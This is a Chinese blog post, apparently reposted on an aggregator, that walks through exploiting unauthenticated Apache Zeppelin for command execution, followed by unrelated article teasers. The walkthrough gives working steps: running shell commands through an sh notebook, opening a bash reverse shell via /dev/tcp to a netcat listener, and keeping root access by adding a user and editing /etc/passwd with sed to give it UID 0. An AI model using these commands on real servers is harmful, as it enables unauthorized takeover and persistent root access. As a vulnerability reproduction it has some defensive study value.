zeppelin 未授权任意命令执行漏洞复现

一、命令执行复现

  1. 访问http://ip:8080,打开zeppelin页面,(zeppelin默认监听端口在8080)

image20210714113412518.png

  1. 点击Notebook->create new note创建新笔记

image20210714115155960.png

  1. 在创建笔记的时候选择Default Interpreter为sh,即可执行sh命令

    image20210714115241087.png

  2. 如下图,在命令窗口输入命令,按 shift+Enter 或点击右侧的执行按钮,即可执行sh命令

    image20210714115258525.png

# 二、反弹shell

  1. 不管是用哪种反弹shell的方式,都要在用于接受反弹shell的机器上开启端口监听,注意目标要能主动和接受的机器建立连接(即在同一网段或监听的端口处于公网),这里使用nc监听2333端口,命令为 nc -lvvp 2333,如图所示,开启了监听

    image20210714123724804.png

  2. 利用sh反弹shell 命令为:

    bash -i >& /dev/tcp/ip/port 0>&1
    

    image20210714124643675.png

  3. 重新开启监听,利用python反弹shell(内存不够会失败,折磨我两个小时才找到原因,太菜了太菜了)

    在创建新笔记的时候选择python

    image20210714124818546.png

    这里不需要使用python -c来执行python命令,直接像写python脚本一样就行

    image20210714141018535.png

    成功拿到了反弹的shell,但是python弹回来的并不是一个真的shell,类似于passwd这种需要交互的命令执行不了,而sh弹回来的一般不会有这种问题

# 三、拿下控制权

我们使用sh弹回来的shell进行下一步操作,创建一个特权用户,拿下对目标的持续控制,因为弹回来的是root权限,所以我们可以很方便的操作,但如果是普通用户,我们可以尝试是否拥有sudo权限,如果没有那就得另觅它法了

  1. 创建用户并更改用户密码,命令为
useradd abc
passwd abc # 根据提示重复输入两次密码(高版本系统可能会要求足够复杂的密码)

image20210714144510272.png

  1. 利用 /etc/passwd 文件提升用户的权限

    查看 /etc/passwd,主要注意root和abc两个用户,其中root用户中间的两个数字为 0:0,第一个0(UID)代表root用户,第二个0(GID)代表root组,abc用户的为 1000:1000,同样的,分别代表abc用户和abc组

image20210714145254972.png

所以我们只要将abc中间的两个数字改为 0:0,就能成功把abc提权为root用户

由于没装vi、vim这种编辑器,所以我们需要利用sed命令去修改文件

sed -i '$cabc:x:0:0:root:/root:/bin/bash' /etc/passwd
# -i  参数代表直接对文件操作
# $ 代表文件的最后一行
# c 是 替换,后面为要替换的内容

测试用户权限,su abc切换到abc用户,执行whoami,发现我们依旧是root用户

image20210714151155922.png

之后我们就可以通过ssh随时连接目录机器

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/684755.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

以hive metastore报错举例,远程调试hadoop服务

项目场景: CDH集群CM切换hive元数据库报错: com.mysql.jdbc.exceptions.jdbc4.MySQLNonTransientConnectionException: Could not create connection to database server.at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)at…

23中设计模式之一— — — —命令模式的详细介绍

命令模式 Command Pattern讲解 概念描述模式结构主要角色模式的UIM类图模式优点模式缺点应用场景实例演示类图代码演示运行结果 概念 命令模式(别名:动作,事务) 命令模式是一种行为设计模式,将一个请求封装为一个对象…

大厂真实面试题(二)

小红书大数据面试SQL-用户商品购买收藏行为特征加工 1.题目 已知有 购买记录表t_order,包含自增id:id,用户ID:user_id,商品ID:goods_id,订单时间:order_time,商品类别:goods_type; 用户收藏记录表t_collect_log,包含自增id,用户ID:user_id,商品ID:goods_id,收藏时间 c…

【WP】猿人学15_备周则意怠_常见则不疑

https://match.yuanrenxue.cn/match/15 抓包分析 抓包分析有一个m参数,三个数字组成 追栈/扣代码 根据启动器顺序追栈,一般优先跳过 jQuery 直接能找到加密函数 每次获取的数字都不一样 window.m function() { t1 parseInt(Date.parse(new Date(…

优思学院|谈汽车零部件企业生产精益及现场管理

精益生产(Lean Production)和现场管理作为现代制造企业的核心管理理念,正在越来越多的企业中得到应用。尤其是在中国,许多汽车零部件企业通过精益管理和六西格玛方法,显著提高了生产效率,降低了生产成本&am…

红酒:如何选择适合的红酒储存容器

选择适合的红酒储存容器对于保持雷盛红酒的品质和风味至关重要。不同的容器具有不同的优缺点,因此应根据个人需求和条件进行选择。以下是一些常见的红酒储存容器的特点和适用场景: 玻璃瓶:玻璃瓶是常见的红酒储存容器。它具有良好的密封性能、…

点云获取pcl点云以某个点云的已经分块得区域的交集

首先将点云分块得到区域后,获取每个块的box的最大最小点云,然后提取box内的点云。 pcl::IndicesPtr indexes(new pcl::Indices());pcl::getPointsInBox(*cloud_1, min_pt, max_pt, *indexes);// --------------------------取框内和框外点--------------…

iPhone 存储不足?快速释放空间的实用技巧

想象一下,您的iPhone上充满了GIF、照片、群聊记录、音乐和游戏。它可能已经成为您存储数据的核心设备,因此很容易就会填满存储空间。尽管iPhone 15和iPhone 14的起始存储容量提升到了128GB,但这对于一些用户来说可能仍然不够用。因此&#xf…

解决国内无法访问huggingface.co

在国内无法访问 https://huggingface.co 时,可以使用国内的镜像站点: HF-Mirror - Huggingface 镜像站加速访问Hugging Face的门户。作为一个公益项目,我们致力于提供稳定、快速的镜像服务,帮助国内用户无障碍访问Hugging Face的…

基于JSP技术的人事管理系统

你好呀,我是计算机学长猫哥!如果有相关需求,文末可以找到我的联系方式。 开发语言:Java 数据库:MySQL 技术:JSP技术 工具:浏览器(如360浏览器、谷歌浏览器、QQ浏览器等&#xff…

史上最走心midjourney教程多案例咒语注意点

一 :什么是Midjourney ?(文末附 MidJourney 知识库,从注册到使用教程还有高阶技巧应有尽有。) Midjourney是一个由同名研究实验室开发的人工智能程式,可根据文本生成图像,于2022年7月12日进入公…

搜维尔科技:【研究】Xsens Link对跑步运动学的可靠性

内容类型:客户案例 产品:MVN Link 产品用例:教育科研 应用领域:运动分析 在实验室环境之外分析现实环境中人体运动的能力正变得越来越重要。各个学科的研究人员,尤其是运动科学和生物力学的研究人员&a…

【Mongodb】Mongodb亿级数据性能测试和压测

一,mongodb数据性能测试 如需转载,请标明出处:https://zhenghuisheng.blog.csdn.net/article/details/139505973 mongodb数据性能测试 一,mongodb数据性能测试1,mongodb数据库创建和索引设置2,线程池批量…

C语言二级指针、指针数组

一、二级指针 指针变量也是变量,是变量就应有地址,那指针变量的地址存放在哪里?存放在二级指针变量。 此时,*ppa pa,**ppa a。 二、指针数组 指针数组,顾名思义就是存放指针的数组。 数组每个元素为int类…

精准导航:用A*算法优化栅格地图的路径规划【附Matlab代码】

目录 1.算法原理2.代码讲解3.结果展示4.代码获取 1.算法原理 A* 算法是一种基于传统图搜索的智能启发式算法,它具有稳定性高、节点搜索效率高等优点。主要原理为:以起点作为初始节点,搜索初始节点旁 8 个邻域,并通过启发函数评估…

IGraph使用实例——线性代数计算(blas)

1 概述 在图论中,BLAS(Basic Linear Algebra Subprograms)并不直接应用于图论的计算,而是作为一套线性代数计算中通用的基本运算操作函数集合,用于进行向量和矩阵的基本运算。然而,这些基本运算在图论的相…

深度神经网络——什么是扩散模型?

1. 概述 在人工智能的浩瀚领域中,扩散模型正成为技术创新的先锋,它们彻底改变了我们处理复杂问题的方式,特别是在生成式人工智能方面。这些模型基于高斯过程、方差分析、微分方程和序列生成等坚实的数学理论构建。 业界巨头如Nvidia、Google…

STM32(七):ADC电位检测 (标准库函数)

前言 上一篇文章已经介绍了如何用STM32单片机中的定时器的PWM波来实现LED的“呼吸”。这篇文章我们来介绍一下如何用STM32单片机中ADC进行电位检测,并发送到XCOM串口中显示。 一、实验原理 1.ADC模数转换的介绍 首先,我们先介绍一下AD模数模块&#…

驱动开发:内核扫描SSDT挂钩状态

100编程书屋_孔夫子旧书网 在笔者上一篇文章《驱动开发:内核实现SSDT挂钩与摘钩》中介绍了如何对SSDT函数进行Hook挂钩与摘钩的,本章将继续实现一个新功能,如何检测SSDT函数是否挂钩,要实现检测挂钩状态有两种方式,第一种方式则是类似于《驱动开发:摘除InlineHook内核钩…

免费,C++蓝桥杯等级考试真题--第11级(含答案解析和代码)

C蓝桥杯等级考试真题--第11级 答案:D 解析: A. a b; b a; 这种方式会导致a和b最终都等于b原来的值,因为a的原始值在被b覆盖前没有保存。 B. swap(a,b); 如果没有自定义swap函数或者没有包含相应的库,这个选项会编…